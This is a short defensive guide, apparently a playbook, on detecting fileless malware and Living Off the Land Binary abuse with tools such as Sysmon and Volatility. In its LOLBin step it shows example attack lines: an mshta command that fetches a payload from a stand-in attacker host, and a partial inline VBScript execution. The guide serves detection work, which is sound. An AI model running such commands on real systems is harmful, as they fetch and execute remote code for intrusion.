detecting-fileless-malware-techniques

# Detecting Fileless Malware Techniques ## When to Use - EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32) - Investigating attacks that leave no traditional malware files on disk - Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence - Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments - Memory forensics reveals malicious code but no corresponding files exist on the filesystem **Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware. ## Prerequisites - Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes) - PowerShell Script Block Logging and Module Logging enabled - Volatility 3 for memory forensics of fileless malware artifacts - Process Monitor (ProcMon) for real-time system activity monitoring - Windows Event Log access with adequate retention policies - Autoruns for identifying persistence mechanisms ## Workflow ### Step 1: Identify LOLBin Usage Detect abuse of legitimate Windows binaries for malicious purposes: ``` Commonly Abused LOLBins and Detection Patterns: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ mshta.exe: Abuse: Execute HTA files with embedded VBScript/JScript Example: mshta http://evil.com/payload.hta Example: mshta vbscript:Execute("CreateObject(""WScript...